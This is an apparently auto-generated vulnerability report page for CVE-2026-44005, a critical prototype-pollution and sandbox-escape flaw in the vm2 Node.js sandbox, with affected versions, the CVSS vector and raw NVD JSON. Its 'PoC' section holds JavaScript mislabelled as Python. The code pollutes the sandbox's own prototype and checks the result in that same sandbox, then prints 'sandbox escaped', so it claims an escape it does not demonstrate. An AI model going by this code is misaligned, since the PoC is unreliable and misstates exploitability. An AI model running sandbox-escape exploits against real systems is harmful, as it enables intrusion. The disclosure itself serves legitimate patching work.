Security Vulnerability Report
中文
CVE-2026-44005 CVSS 10.0 CRITICAL

CVE-2026-44005

Published: 2026-05-13 18:16:17
Last Modified: 2026-05-14 16:16:23

Description

vm2 is an open source vm/sandbox for Node.js. From 3.9.6 to 3.10.5, vm2's bridge exposes mutable proxies for real host-realm intrinsic prototypes and then forwards sandbox writes into the underlying host objects with otherReflectSet() and otherReflectDefineProperty(), which lets attacker-controlled JavaScript running in a default VM or inherited NodeVM mutate shared host Object.prototype, Array.prototype, and Function.prototype from inside the sandbox This vulnerability is fixed in 3.11.0.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:* - VULNERABLE
vm2 3.9.6
vm2 3.9.7
vm2 3.9.8
vm2 3.9.9
vm2 3.9.10
vm2 3.9.11
vm2 3.9.12
vm2 3.9.13
vm2 3.9.14
vm2 3.9.15
vm2 3.9.16
vm2 3.10.0
vm2 3.10.1
vm2 3.10.2
vm2 3.10.3
vm2 3.10.4
vm2 3.10.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const {VM} = require('vm2'); const vm = new VM(); // PoC Concept: Exploit prototype pollution via mutable proxies const exploit = ` const handler = { defineProperty(target, prop, descriptor) { // Forward the operation to the host object via the bridge return Reflect.defineProperty(target, prop, descriptor); } }; // Target the host Object prototype const hostProto = Object.getPrototypeOf({}); const proxy = new Proxy(hostProto, handler); // Attempt to pollute the host prototype try { Object.defineProperty(proxy, 'exploited', { value: true, writable: true, configurable: true, enumerable: true }); if ({}.exploited === true) { console.log('Success: Host prototype polluted, sandbox escaped.'); } } catch (e) { console.log('Exploit failed:', e.message); } `; vm.run(exploit);

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-44005", "sourceIdentifier": "[email protected]", "published": "2026-05-13T18:16:17.257", "lastModified": "2026-05-14T16:16:23.313", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "vm2 is an open source vm/sandbox for Node.js. From 3.9.6 to 3.10.5, vm2's bridge exposes mutable proxies for real host-realm intrinsic prototypes and then forwards sandbox writes into the underlying host objects with otherReflectSet() and otherReflectDefineProperty(), which lets attacker-controlled JavaScript running in a default VM or inherited NodeVM mutate shared host Object.prototype, Array.prototype, and Function.prototype from inside the sandbox This vulnerability is fixed in 3.11.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:vm2_project:vm2:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "3.9.6", "versionEndExcluding": "3.11.0", "matchCriteriaId": "35F6465F-22BE-4408-92A5-4C563D2C10C7"}]}]}], "references": [{"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-vwrp-x96c-mhwq", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}